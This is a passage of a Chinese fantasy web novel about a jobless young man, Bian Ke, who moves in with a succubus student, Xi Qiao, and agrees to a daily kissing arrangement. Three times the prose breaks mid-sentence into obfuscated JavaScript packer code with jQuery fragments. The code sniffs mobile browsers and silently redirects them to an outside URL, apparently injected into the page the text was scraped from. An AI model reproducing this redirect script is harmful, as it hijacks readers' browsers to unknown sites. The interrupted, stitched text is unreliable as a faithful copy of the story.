奚乔直接又捏住他下巴,让他抬起脸:“那就是这个包太旧了需要换。” “吃完饭去买衣服,顺便把你的包也换了。” 边恪心里那点酸楚再次烟消云散,他愣愣地看着奚乔:“那太麻烦你了。” 奚乔捏着边恪脸颊肉,无奈地笑道:“明明是我在麻烦你,阿鲟,你多找我要些东西,我才能心安。” 可是我还没有答应帮你。 这样的话,边恪说不出来,可能因为奚乔捏着他脸颊的手太温柔。 包里传来“嗡嗡”的响动,是边恪的手机响了。 他摆摆脑袋,甩开奚乔的手,手忙脚乱地拉开背包夹层拉链,找到最底下的手机。 来电显示:致溟哥。 边恪下意识和奚乔对视一眼,奚乔拍拍他肩膀,反手把椅子拖过来,挤到了他身边坐。 这是可以接电话的意思? 奚乔不吱声,边恪也不好问,只得接通了电话。 “阿鲟,在忙吗?”宋致溟语气柔和,略带着些许疲惫。 如果在平时,边恪会赶紧关心地追问他是怎么了,但今天中午,边恪才被他拒接过电话。 “没。”所以边恪只简单地回答了一个字,旁边的奚乔探身过来,自然而然地把脑袋搁在边恪肩膀。 “今天中午我也不是有意要挂你电话……”宋致溟絮絮地说些什么,边恪没有听清,他只顾着抬肩膀,但怎么都没法把奚乔扒拉下来。 “你知道的,我那导师事儿太多,今天又找我要实验器材的钱。” 说到钱,边恪听清楚了,连奚乔都放轻了呼吸。 “你要多少?”边恪冷声问。 “一万五。”宋致溟理直气壮地说,“这次的器材很贵。” “刚刚我找他要的表,就卖一万五。”奚乔凑边恪耳边,轻声说。 边恪心里连酸涩都翻不起,只有阵阵麻木,麻木过后微微地钝痛着。 “致溟哥,我前两天被工厂开除,现在没地方住,手头没有钱了。”边恪一字一句地说,鼻腔微微发堵,“中午打电话给你,就是想找你帮帮忙,接济我一段时间,我重新找到工作会还你钱。” “好好的,怎么被工厂开除了?”宋致溟不耐烦地反问,“我自己这边都周转不开,怎么有闲钱借你?” 虽然对这个回答早有预感,但边恪的心还是重重地沉入谷底。 “我只是想告诉你,我没有一万五打给你。”边恪轻声说,“现在没有,以后也不会有了。” 他说完就挂断了电话,宋致溟重新打过来,他干脆把电话关了机。 待到奚乔的手重新抚上他面颊,他才发觉他又没出息地掉了眼泪。 “你说……他为什么要这么……对我?”边恪哭得磕磕巴巴。 “因为他不是个好人。”奚乔稍稍坐直了些,伸出双手给他抹脸,“哭吧,发泄出来就好了。” 边恪闻言,闷闷的心口忽然一松快,眼泪便吧哒吧哒掉得更厉害了: “我就是个傻子,呜呜……” “叩叩”,半掩的包间门被敲响,服务员推车银色的小餐车等候在门外。 边恪的呜咽顿时堵回了喉咙。 “先吃饭吧,吃完饭了更有力气哭。”奚乔说,给边恪抹眼泪的手没停。 “嗯。”边恪应了声,抓住奚乔的腕子,“你也不用忙活着给我抹脸,眼泪都抹匀了。” “我以为你喜欢这样,你刚刚就是这么给我擦脸的。”奚乔笑笑,撒开边恪,扭脸给门外服务员打了个手势。 服务员推着小车进来上菜,边恪便不好意思探身去拿抽纸,奚乔趁他不注意,把他怀里鼓囊囊的背包放在了地上。 “我还是抱着吧,免得待会儿又忘了。”边恪瓮声瓮气地说。 “没事,有我在,怎么都不会丢。”奚乔不以为意,干脆还把边恪的砖块机收走,塞进了心口前的衣兜,“待会儿再给你换个智能机。” “奚……燕燕,”边恪艰涩地开口,“你不用对我这么好,我没什么能报答你的。” “明明是我要报答你呀。”奚乔一本正经地说,顺手把烫洗好的碗筷递到边恪手边,“你现在呢只用做两件事,一件事是好好吃饭。” 边恪嗅到了饭菜的香味,饥饿重新席卷全身。 “那还有一件事呢?”边恪下意识拿过筷子。 奚乔夹了一块连皮带肉的烧鹅进边恪碗里,更加郑重地说:“还有一件事就是好好考虑和我同居。” * 奚乔没追着要边恪的答复。 他细致地给边恪夹菜添汤,适时地倒上茶水,观察到边恪饱得吃不动,还体贴地让边恪坐了十来分钟,才带边恪起身离开餐馆。 边恪甚至都没看到奚乔是什么时候买单的,好在奚乔也跟着吃了几块烧鹅、喝了几口汤,不然边恪心里就更不好意思。 饭后奚乔果然领边恪去了商场服装店扎堆的那层楼,边恪说喜欢宽松的运动装,奚乔就直接带边恪去了专卖运动服的店。 边恪目光在那件衣服或那条裤子上停留,奚乔就叫来导购,帮他拿来合适尺码的同款进行试穿。 不过一个小时,边恪换了七八套衣服,外加上鞋子,他看照镜子看不出好歹,奚乔便点一点头,对导购说说全要了。 “买两套换洗的就行。”边恪试图给奚乔挽回些支出。 “我还嫌这几套不够呢,阿鲟,你再挑两身去。”奚乔取下手边的衣架,“你看这个颜色怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552287|204351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么样?” “真的够了,燕燕,那么多我穿不完。”边恪忙忙拉住奚乔的胳膊,“一天都要换两套。” 奚乔失笑:“我还没给你挑睡衣和短裤呢。” “我包里还有能穿的!”边恪急了,攥紧了奚乔的手腕。 “都买新的吧,好不容易出来一趟。”奚乔说,“阿鲟,你就当为了我高兴,多挑两身吧。” “我看到你穿新衣服,高兴得尾巴都快冒出来了。” 给人花钱还花得那么高兴吗? 虽然边恪总是给宋致溟打钱,但边恪也是会看着三位数的存款而发愁。 再往前些,边恪在村里每家每户地蹭饭、捡旧衣服穿,都要小心看着大人们的脸色,多吃一口剩饭、多捡一条旧短裤,都可能被踹一窝心脚。 更别提刚刚宋致溟连借钱都不借给他。 奚乔说,感谢边恪给他喂了一口饱饭。 那么对于奚乔来说,边恪的价值就在于帮他度过这个月的fa情期。 边恪想好了。 “燕燕,我愿意跟你同居。”边恪看着奚乔褪去粉色的眼睛,“这个月我会努力找工作,以后就不用麻烦你了。” 奚乔叹了口气:“你也不用那么苛待自己,我fa情期结束后,也可以在我巢穴里住。” 边恪摇摇头:“这是原则问题,你觉得这样不好,那我今晚就自己找旅馆住。” “好好好。”奚乔忙拦着他,“今晚就先放松地购物吧,我还没给你买包和手机呢。” 就像是做梦一样,边恪从那灯火辉煌的大商场里走出来,不但找到了自己的旧包,还买了许多新的大包小包,他一个人拎不下,奚乔帮他拎了个满满当当。 这都晚上十点多了,街上还人来人往,热闹得不行。 但过一条马路,上楼回到奚乔的巢穴,那些热闹的声浪便被关在了门外,哪怕凑近窗户也听不见一点喧嚣。 奚乔得意地说,为了在这条商业街长住,他专门定制了最好的隔音材料进行巢穴的装修。 “我就喜欢你们人类的热闹劲儿,但太热闹妨碍我休息了又不好。” 真是只很会享受生活的魅魔。 睡前洗澡换睡衣,边恪自己完成的,没好意思让奚乔再帮他洗澡换衣。 好像刚见面的时候,边恪就被奚乔嫌弃身上有味道。 但见面那会儿发生了什么,边恪真记不太清了。 难道他也到了健忘的年纪? 还好奚乔给他新买的手机有备忘录,奚乔教过他怎么使,到时候写一写备忘录吧。 边恪顶着一头湿漉漉的短发拉开浴室门,一道粉色的身影便轻巧地把他壁咚在门板,果不其然是奚乔。 这会儿奚乔双眼重新刷上粉色,犄角从发顶冒出,尾巴在身后一甩一甩。 边恪明白了,他深吸一口水蜜桃味的空气,闭上了眼睛。 “你来吧。”边恪说。 他凭感觉还努力踮起了脚,向上抬抬下巴,试图让比他高一个头的奚乔更好和他接吻。 “你这也太自觉了吧。”奚乔再次捏住边恪下巴,双指将脸颊肉一挤,将边恪捏成嘟嘴河豚。 边恪睁开一只眼,就着被捏的姿势嘟囔着说:“俗话说拿人钱财,与人消灾,放心好了,你要亲多久我都不会动的。” 奚乔失笑,把边恪往怀里一按,揽着边恪往客厅沙发走去。 “我们先做个约定,然后再亲也不迟。”奚乔说。 边恪费力地把脑袋从奚乔怀里挪开,免得让自己的头发打湿奚乔的衣服。 “我都答应你同住了,还不算约定么?”边恪窝窝囊囊地说。 “那你愿意被我占便宜?”奚乔笑得眯起了眼。 边恪可受不了他笑,别开眼说:“没关系,本来我就很便宜。” 5. 第 5 章 “你怎么能这么想?”奚乔把边恪按坐在沙发上,揉了把边恪的湿发,“我们俩是合作关系,你觉得你便宜,那我就跟着便宜。但我觉得我贵重,那你同样也很贵重。” 边恪被他一通贵重、便宜的说辞绕得晕乎,抬手挠一挠头,发现头发干了,“啊?”边恪有点懵。 奚乔挨着边恪坐下,把他双手握了,且握得很紧:“意思是我们俩是平等的,魅魔和人类是平等的。” 边恪愣愣地点头:“哦。” 还是搞不懂为啥奚乔忽然提起了平等,他只是说他的工资很便宜,刚刚奚乔给他买的那些东西,都抵得上他三四个月的工资了,奚乔雇佣他完全不用花那么多钱。 “所以你不用主动让我亲,应该等我祈求你、求到掉眼泪了,再大发慈悲地点点嘴角说允许我靠近。”奚乔握着边恪的手用力摇晃,粉色的眼瞳里迸发出奇异的光芒。 边恪稍稍往回缩了缩手:“这是我在欺负你吧,怎么能算平等?” “这是我的个魔癖好。”奚乔两眼继续放光,连带手指都在发光,“必要的时候,你还可以抽我鞭子~” 他话音刚落,边恪腕间便搭上了一条黑漆漆的皮鞭。 “怎么还真有鞭子啊?”边恪猛然把手从奚乔指间抽离,皮鞭便稳稳当当落在了边恪掌心。 摸起来偏软,还挺有质感的…… “哼哼,隔空取物~”奚乔得瑟地抬抬下巴,“你现在想抽吗?” “我不想!”边恪立马把鞭子推还给奚乔,“我以为只用亲嘴……” “好吧,那你只能接受亲嘴,确认吗?”奚乔随手把鞭子往后一抛,忽然认真地问。 “确认!”边恪忙不迭回答,生怕奚乔又有什么奇思妙想。 “那你能接受一天亲几次呢?”奚乔仍然神色郑重,连身后的尾巴尖都不晃悠了。 边恪也只好收敛心下惊慌,跟着奚乔认真思忖起来:对于魅魔来说,亲嘴相当于吃饭,人类一天吃三顿饭,那么他就要和奚乔一天亲三次嘴。 “三……”边恪开口。 奚乔立马接茬:“好的,四次,成交。” 边恪嘴角抽搐,他忽然反应了过来:“你想亲四次可以直说,不用这么兜圈子。” 奚乔无辜地歪头笑:“那一次亲半个小时呢?” 边恪苦笑:“半个小时我会憋死吧。” 奚乔犹豫:“那亲二十五分钟?” “这也只是减少五分钟啊!”边恪无语。 “可是少于这个数我会吃不饱,吃不饱就想要继续亲。”奚乔耷拉下眼尾,“我们前两次亲都差不多二十五分钟,我心算过的。” 话都说到这程度了,边恪也不好意思再讨价还价,本来人家才是老板,刚刚兜那一大圈子只是说客气话。 “那就二十五分钟,我会好好完成。”边恪咬一咬牙,坚定地握住奚乔的手,“你还有什么需要的吗?” “嗯……你亲我的时候,可不可以摸我的犄角?”这次轮到奚乔缩了缩手。 “可以。”边恪抓紧奚乔的手晃了晃。 “那尾巴也可以摸吗?”奚乔身后的尾巴尖摇了摇。 “可以。”边恪更加坚定,生怕给自己反悔的机会。 答应完边恪才反应过来,这一边亲嘴一边摸犄角还要一边摸尾巴,一心三用,不知道能不能完成好。 但答应了老板的事一定要做到,不管了,先试一试吧! “燕燕,你现在饿不饿?”边恪问,他松开奚乔的手,攀上了奚乔脖颈。 奚乔配合地凑近,和边恪鼻尖贴着鼻尖:“其实还好,可以等一会儿……” 边恪没等他说完,闭眼吻了上去。 奈何闭眼找不到犄角和尾巴的位置,边恪一手在奚乔发顶上摸索,一手在奚乔后背上抓来抓去。 奚乔歪了歪脑袋,边恪便抓住了那温温热的犄角,另一只手便被细长的尾巴缠住了腕子。 客观条件允许了,边恪分了精神,认真开摸:犄角还是那么光滑,尾巴尖表面好像有层薄薄的绒毛……结果与奚乔纠缠的舌头迟疑了片刻,只听奚乔闷哼一声,边恪就被按倒在沙发。 天旋地转,边恪睁开眼,视野被奚乔漂亮的脸完全占据。 周遭的水蜜桃香味愈发浓烈,奚乔粉水晶般的眼睛也愈发晃眼,边恪疑心自己又要恍恍惚惚地昏睡过去,但潜意识里有根弦一直紧绷着,想要好好注视着奚乔,连带看奚乔眼睫轻颤都满足不已。 有了前两次接吻的经验,边恪被奚乔压着竟然也不觉得憋闷,反倒能随机利用唇齿分离的瞬间完成换气,不知时间悄然流逝。 奚乔结束了这个吻,将乱糟糟的脑袋歪靠在边恪肩膀,动作间肩膀的衣料下滑,露出了泛粉的白皙肌肤。 边恪看着那抹白到发光的肌肤好一阵,猛然惊醒他好像快把奚乔的衣服给扒了,忙撒开奚乔的犄角,笨拙地给奚乔拉扯衣服。 “啾。”奚乔哼了一声。 “怎么了?你要变鸟了?”边恪问。 “意思是饱了。”奚乔哼哼唧唧地蹭着边恪颈窝。 边恪可算把奚乔肩膀盖住,顺口问道:“那啾啾是什么意思?” “啾啾就是太饱了。”奚乔说,“不过根据不同的语调,还有不同的意思。” “那我需要学会这门鸟语吗?”边恪定一定神。 “这也没什么好学的,我会给你翻译。”奚乔不解,“阿鲟,你好像在给我打工哦。” 本来就是在给你打工。 边恪没说这话,不然奚乔又要给他扯一通“平等”的定义。 他隐约相信,奚乔应该是把他当做朋友、而不是工具的,只是他自己要摆正位置。 “燕燕,我晚上睡哪儿啊?”边恪岔开话题。 “当然是和我一起睡啊。”奚乔理所应当地回答,尾巴尖在边恪另一只手的掌心拱来拱去。 边恪眼前场景一晃,他就和奚乔躺在了卧室的爱心大床上——这魔法还真好用啊,不但能隔空取物,还能瞬间转移。 “那你一定要这么抱着我睡么?”边恪问,开始给自己做心理准备。 有记忆以来,他都是自己一个人睡觉,小时候睡村长家柴房的地板,长大一点睡工厂宿舍的上下铺。 和别人一起睡,和别人一起抱着睡,他不太习惯。 “你可以抱着我睡。”奚乔“啾”了一声,边恪怀里一轻,那只毛茸茸软乎乎的滚圆团雀便坐在了边恪胸口。 好可爱,再看一遍还是好可爱。 边恪轻轻地摸着团雀的小脑袋,不禁得寸进尺问:“那我要抱得太紧怎么办?” “啾,你先试试,啾~”团雀眨巴着豆豆眼,扑腾着短短的翅膀邀请边恪。 边恪一把将这滚圆的团雀搂紧怀里,再一侧身,把脸埋进了团雀胸脯爱心状的紫色毛毛里,反复吸了又吸。 甜甜的,水蜜桃味。 “睡吧,啾。”奚乔轻轻啄了一下边恪面颊,“阿鲟,你也累一天了。” 奚乔不说,边恪其实没有感觉到累,一说他就开始上下眼皮打架。 “你要是饿了,随时可以把我叫起来……”边恪迷迷瞪瞪地说。 毕竟也没有规定魅魔不能吃夜宵。 “知道了,啾~”奚乔啾里啾气地说,“晚安,阿鲟啾~” 边恪安心地闭上眼:“晚安,燕燕。” * “啾啾~啾啾~啾啾啾……” 他哥的专属铃声响了。 奚乔抬起短翅膀遮了遮边恪的耳朵,施法让边恪耳边静音,才费力地从边恪怀里挪出滚圆的身子,拍拍翅膀跳上床头柜,把“啾啾”作响的手机双爪抓了,飞到飘窗上才一爪按了接通。 “哟,今晚怎么有兴致变回原形睡觉?”大哥伸出手指戳戳屏幕,调侃笑道。 奚乔白了大哥一眼,扑腾扑腾翅膀,变回了人形。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552288|204351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你给我找的那个人类更喜欢我原形,不抱着我原形睡不着。”奚乔将手机悬空,扫了眼床上安静隆起的小山包,添油加醋地说。 大哥“啧”了声:“你让人类看到你原形了,到时候fa情期过去,和人类一拍两散,删除人类记忆麻烦得很,你又偏偏在记忆类的科目里没拿过及格。” “我已经帮你收拾一次烂摊子,不会再收拾第二次。” 奚乔并不接茬:“我中午请你帮忙,又不是让你给我找个人类,只是想让你把我带回巢穴而已,一个月的fa情期我忍忍就过去了。” “我看你面色不错,估计都把那小人类吃干抹净了。”大哥冷笑,从屏幕外拿了梳子,去梳他那头银白色的长毛,“奚燕燕,现在跟我说‘忍忍’这样的话,有点得了便宜还卖乖啊。” “谁让你擅自作主的,我卖卖怎么了,奚莺莺?”奚乔嘴硬得很,“你是不是早知道宋致溟有问题,但又想看我的笑话,故意没有提醒我?” “在决定和一个人类度过fa情期前,要充分地了解他这个人一切,我提醒过你没有一千次也有八百次了,你每次都说你知道了,现在吃了亏又怪我?”大哥梳头发的手愈来愈快,这表示他的忍耐力到了极限,“还有,莺莺是你能叫的吗?没大没小!” “没关系的,莺莺,我不计较你没提醒我。”奚乔装傻地自说自话,“你这次临时给我找的人找对了,他比宋致溟有意思,我想fa情期结束后可以和他谈一段时间恋爱。” 大哥“啪”地放下梳子,右手顿时亮起了法阵的光芒:“我提醒过你没有两千遍也有一千八百遍了,不要试图和人类谈恋爱,谈一天两天都不行。” 奚乔会意地用双手捂住脑门,而大哥隔空的脑瓜崩穿透了他双手的阻碍,清脆地在他脑门留下了个大包。 “啾!奚莺莺,你不讲武德!”奚乔疼得眼泪都飙出来了,“你自己跟人类谈了一段又一段,还不许我谈第一段吗?” 大哥皮笑肉不笑:“所以我遭报应了啊,你又不是第一天知道!” 眼看他就要蓄力弹自己第二下脑瓜崩,奚乔忙忙摆手打断:“哥,我明天还要上课,就不聊了先!” “再聊的话我就跟道士告状,说你觉得他是你的报应!” “嘟!”奚乔挂断视频,在大哥第二个视频打来时,飞速地把他拉进黑名单。 啊,世界清净了。 奚乔把手机撂在飘窗,三两步跳回了床上。 他打了个响指,解除边恪耳边的静音魔法,他接视频的这一会儿,边恪睡觉的姿势一动不动。 真乖啊。 奚乔坐在边恪身边,凝神看着他安静的睡脸和微微起伏的胸膛,他个子不高,一米七几吧,在这三米宽的大床上还要蜷缩身体,似乎怕自己占到一点便宜。 边恪长相没有太抓人眼球,如果丢在Z大的校园里,奚乔和他擦肩而过都可能看不见他。 奚乔作为一只漂亮的魅魔,自然还是会更喜欢漂亮的人类。 但在这柔软的夜色里,奚乔竟然能认真看着这个眉眼并不惊艳的人类,忘记时间的流逝。 边恪脸小,五官也生得斯文清秀,哪怕冷脸都不会让人觉得他在生气,而是有种呆呆的可爱感觉。 和这样普通的人类谈一场恋爱,似乎比和漂亮人类谈一场要有意思许多。 当然,奚乔并没打算就此放过宋致溟,如果边恪需要,奚乔顺手能把他那份仇也报了。 不过边恪没说需要呢……边恪只惦记着和奚乔亲嘴。 奚乔不由自主地勾起嘴角,这就是恋爱的感觉吗? 他喜滋滋地挨着边恪躺下,伸手刚碰边恪指尖,就被边恪触电般甩开。 “啪!” 奚乔来不及反应,侧脸随即便迎来一声清脆的巴掌。 边恪声音低沉到发冷:“你是谁?怎么睡我旁边?” 奚乔捂着脸欲哭无泪:“啾啾!我是燕燕啊,啾!” 6. 第 6 章 “燕燕,你脸没事吧?” 早上起床换衣服,边恪心虚地看着人形魅魔红红的左侧脸,想上手摸摸又不太敢。 怪他,不习惯睡觉的时候有人在旁边,哪怕是人形的魅魔。 奚乔懒懒地打了个哈欠,睡衣还是松松垮垮:“没事啊,你又没怎么使劲儿。” “但你左脸还是红的。”边恪没有挪开视线。 “你昨晚打的是右脸。”奚乔讪讪地笑,“我左脸应该是睡红的。” 边恪沉默了,他还是鼓起勇气伸手摸了摸奚乔的右脸,奚乔顺势蹭了蹭他的掌心。 “早上想吃什么?”奚乔问。 “我都可以。”边恪回答,“你不用先吃么?” “等你吃饱了再说。”奚乔笑笑。 他带奚乔下楼吃牛肉粿条,手把手教边恪扫码付钱。 “你不用给我转这么多钱,我手头的钱能够我用大半个月。”边恪付完粿条的钱,看到账号里的一万五,差点没一口气背过去。 他笨手笨脚地点开和奚乔的对话框,仔细辨认每一个图标下的小字,试图把钱转回给奚乔。 奚乔一把将边恪的新手机夺了,塞进边恪的裤子口袋,而后揽着边恪进小店找位置。 “你给我转过来,我不收,钱还是会原路返还。”奚乔笑眯眯地说。 “那我也没收啊,钱怎么进我账号里了?”边恪紧张地反问。 “昨晚在给你办新手机卡的时候,我偷偷操作好了,一万五不够,还可以再加哦。”奚乔愈发兴致勃勃。 边恪叹息地打断:“够了够了,这都够我用好几年的了。” 或者说进厂打工快五年,他用了三万块钱不到,一万五能用两年半呢。 “我给你一万五,是想你一个月花完的,不用你帮我节省。”奚乔撇撇嘴,他找到一处靠墙的空桌子,按着边恪落座。 “一万五一个月……这也太败家了。”边恪由衷说道。 “没事,败就败吧,反正咱们家败得起。”奚乔利落地坐到桌子对面,伸手去抽筷子筒里的一次性筷子。 边恪听得脸红,他想说他俩又不是一家的,但这话太冲未免扫兴,只好又默不作声,低头接过了奚乔掰好的筷子。 幸好粿条适时地烫熟端了上来,他们俩一人一大碗,边恪吃得很认真,几乎把脸埋了进去。 奚乔似乎觉察到他的尴尬,把话题转移到每日的接吻安排上。 “我来说说接吻这事儿吧,阿鲟,你也不用太紧张,我昨晚想出来一个时间表……” 你确定要在这人来人往的小店里说接吻的事情吗? 边恪抬起脸,瞪大眼睛给奚乔使眼色,但奚乔只是微笑地点点头:“我也觉得我这安排不错。” 旁边煮粿条的阿叔阿婶看过来了! 边恪从瞪眼改为眨巴眼,快把眼泪眨巴出来,奚乔终于好像意识到了什么:“阿鲟,你眼睛疼吗?要不要我给你吹吹?” 好吧,他什么也没意识到。 边恪快把脸砸进碗里,便听见一个中年男声鄙夷地说道:“现在真是世风日下啊,什么人都敢出来吃饭了。” 他立马扭脸冷眼看过去,那是个大腹便便的秃头男,正挺着肚子在早餐队伍最前头等阿叔阿婶煮粿条。 “现在时代好了,只要有钱,想出来吃饭就出来吃饭。”边恪不轻不重地回怼过去。 秃头男的卤蛋脑袋登时红了,他看也不看边恪,只接过打包好的粿条骂骂咧咧:“某些人敢在外边丢人现眼,还不许别人说两句了?” 边恪也不看秃头男,径自挑起碗里的粿条:“某些人吃个饭还嚼舌根,不也没觉得自己丢人现眼?” “阿叔,你是在说我们吗?”奚乔也应声追问,直接点了秃头男的名,“说我们就站过来说,别挡着人家买早餐啊。” 秃头男来不及回怼,身为店长的粿条阿叔就开口说:“好了好了,打包完的顾客请往外边走,不要耽误其他顾客吃饭。” 周遭其他人也纷纷抱怨起来,秃头男寡不敌众,嘟囔骂了两句就踉跄地离开了。 边恪大口嗦着粿条,含糊地问奚乔:“你说到哪儿了?” 奚乔全然没有再说下去的欲望,略带好奇地问:“阿鲟,原来你这么能说会道啊?” “只是把他自己说的话复述一遍而已。”边恪脸红没有褪下去,这会儿更严重了。 “看来我不用担心我不在的时候你被欺负了。”奚乔一本正经地说。 “没人能欺负我。”边恪咽下一大口粿条,梗梗脖子说,“厂里主任让我帮人顶罪,我都把他套麻袋揍了一顿。” 然后就被开除了嘛,而且因为跟人动了手,他上了那一片区工厂的黑名单,没办法换地方打工,只能离开鹏城另谋出路。 奚乔看边恪的眼神愈发惊喜,把碗里的牛肉挑给边恪:“难怪我摸你胳膊觉得还挺有劲。” 这事儿也是能往外说的吗? 边恪幽怨地看着奚乔。 奚乔浑然不觉:“反正你平时爱做什么做什么,早安吻结束后,只要在中午十二点、下午五点二十以及晚上十点在我巢穴就好。” 哦,这就是接吻的时间点。 边恪脸红着点头:“我记下了。” 又怕自己健忘,拿出手机费力地敲打备忘录。 他找工作也会仔细考虑这几个时间点。 “吃饭吧,不够我把我这份也匀给你。”奚乔提醒说,又要给边恪挑一筷子牛肉。 边恪赶紧挡住他的筷子:“你也吃啊。” “fa情期间,我吃任何人类食物都没味道。”奚乔叹气,“就是出来陪你吃个意思。” 边恪明白了,筷子也挑得更快了些:“等我五分钟,我马上吃完!” * 虽然魅魔嘴上没个把门,但行动上还是很靠谱,至少是把边恪带回家,按坐在沙发上接吻。 奚乔赶着上学,说八点钟准时上课,而他们嘴对上嘴正好是七点三十五。 他要卡点瞬间转移。 边恪怕把奚乔衣服扯乱,瞬间转移到教室影响不好,只能瞪着眼睛摸奚乔的犄角和尾巴,昨天好像只摸了一边的犄角,他今天两边来回地摸。 吻到中途换气,边恪发现把奚乔那头卷毛揉乱了,跟团缩水棉花糖似的,他只得在抚摸犄角的同时腾出一两根手指,给那团棉花糖再捋顺一下纹理。 可惜边恪只顾着前面没顾着后面,奚乔的尾巴摇摆得太厉害,将那本就宽松的休闲裤一点点褪下,直到边恪摸到奚乔尾巴根时,才猛然发觉自己好像摸到了什么不该摸的地方。 “唔唔!”边恪急得哼叫出声。 而奚乔只顾着结束这个长吻,偏过脸埋在边恪肩膀蹭一蹭:“阿鲟,我去上学啦~” 随即轻巧地收回了犄角和尾巴。 “你先把……咳咳!”边恪被压着呼吸不畅,话没说清楚,手还一直拉着奚乔的裤子,但不知道是不是角度的问题,一直都拉不上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552289|204351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不用舍不得我~”奚乔拍拍边恪胸膛,一点也不善解人意,“我中午就回来了~” “你先把裤子穿好!”边恪怒吼。 而眼前一晃,他又一次感觉到天旋地转,定睛一看,他由躺着变为了站着,奚乔正把他按在门与墙壁的夹角,他眼睁睁地看着打哈欠的大学生三三两两地从门边经过,再前边就是一排排整齐的桌椅,最前边是四整面大黑板。 完蛋!他怎么也被奚乔传送到教室了! 对了,裤子! 边恪不待奚乔反应,立马搂着奚乔的腰和他换了个面。 确定奚乔屁.股朝墙后,边恪蹲下.身,眼疾手快地把奚乔那条面口袋似的裤子往上提。 “吱呀”,门缓缓地往外偏移,“砰”地一下关上了。 边恪一惊,抬眼却见奚乔假笑着冲前方招手。 “大家早啊。”奚乔从牙缝里挤出字儿来。 空气里静得落针可闻。 边恪顿时感觉到如芒在背,但他不敢往后看,只得仰头看着奚乔,神色坚定地说道:“已经为少爷整理完毕着装,确认没有遗漏,在下告辞。” 说罢,边恪便起身,目不斜视地踢着正步走出教室,期间传来一声“同学你是哪个专业”的亲切问候,但边恪没有回头,一迈上走廊,便循着最近的楼道口连滚带爬地下了楼。 “叩叩”,被奚乔塞进裤口袋的手机发来响动,边恪都不敢拿出来,等跑到看不见那绿瓦红墙的教学楼时,他才放心地扶着路灯杆喘口气。 【燕燕】:阿鲟,你可以啊,哪儿学来的那套词? 边恪拿出手机,第一眼就看到奚乔顶着粉色小团雀的头像,问出一句莫名其妙的话。 【阿鲟】:以前有看过电视剧。 比如说某某花园、一起来看某某某什么的。 边恪费力地回答了一句,他敲字实在不快。 对面便发来好几个小鸟跳跃的表情包,奚乔说:「不愧是阿鲟,真可靠啊,一下子就让我在同学眼里的形象高不可攀~」 你确定你在同学眼里还有形象吗? 边恪敲了几个拼音,输入法糊成了一团,只得删掉重来,好在他歪打正着地找到了语音输入的位置。 【阿鲟】:先不说这些,你能告诉,我该怎么回去? 边恪本来打算等奚乔去上课,他就自己下楼去商场附近好好转转,看有没有贴了招工广告的小店。 他就一个中专文凭,学的还是美容美发,去鹏城的工厂打螺丝也是阴差阳错,总的来说太高大上的工作他摸不着边,看能不能回归中专学的专业。 特别昨天逛商场,看到理发店还不少。 【燕燕】发来一个地址。 边恪点开,发现奚乔的巢穴离学校有十几公里远,他绝不可能腿儿着回去。 瞬间移动真了不起啊。 【燕燕】:这个距离太远了,你自己回去不方便,还是等我下课吧。 【阿鲟】:我可以坐公交地铁。 【燕燕】:撤回一个地址。 【燕燕】:你等我一起回去嘛! 【燕燕】:「小鸟打滚」「小鸟大哭」「小鸟心碎」 边恪叹了口气。 【阿鲟】:你就算准我不会用导航。 【燕燕】:等我下课就教你~主要是大早上把你也带到我学校了,我心里实在过意不去~中午我要好好补偿你~ 「小鸟比心」 唉,真是败给他了。 7. 第 7 章 边恪和奚乔约好十点二十分在刚刚那座绿瓦红墙的教学楼下见面,怕边恪等得无聊,奚乔提议让他去学校商铺扎堆的小广场看看。 「那广场离教学区不远,你看着路牌走就能到。」 「找不到地方的话,可以随机抓个路人,让他带你去。」 「这个点那家叫‘乐水’的糖水铺应该开门了,你可以去尝尝他们家的红豆沙。」 奚乔打字真快,消息一条接一条,边恪都能想象到他叽叽喳喳的声音了。 不过,上课也能玩手机吗? 边恪发问过去。 对面终于沉默了,待到边恪找着路牌,对面才重新发来消息:「我是担心你嘛。」 「你不把我传送到学校就不用担心了。」边恪耿直地回答。 奚乔发来一张「小鸟哭哭」的表情包,彻底老实了。 不知道他上哪儿找到的表情包,每一张的小鸟都很像他的原形。 粉紫色的大团雀,可爱,嘿嘿。 迎面而来的路人对边恪投来疑惑的目光,边恪赶紧收敛了傻笑,一本正经地往小广场的方向小跑去。 时间太早了,小广场那一圈的商铺都挂着锁,边恪还是放慢脚步,挨家挨户看门外有没有贴招工广告。 也不能把择业范围框定在奚乔住处附近的商场,而且边恪觉得除开美容美发,他也可以尝试做做奶茶或者咖啡。 这就是他本人就业的灵活态度。 走过十家店,只有两家洋快餐店招工,但看招工广告上写招学生兼职,不招社会员工。 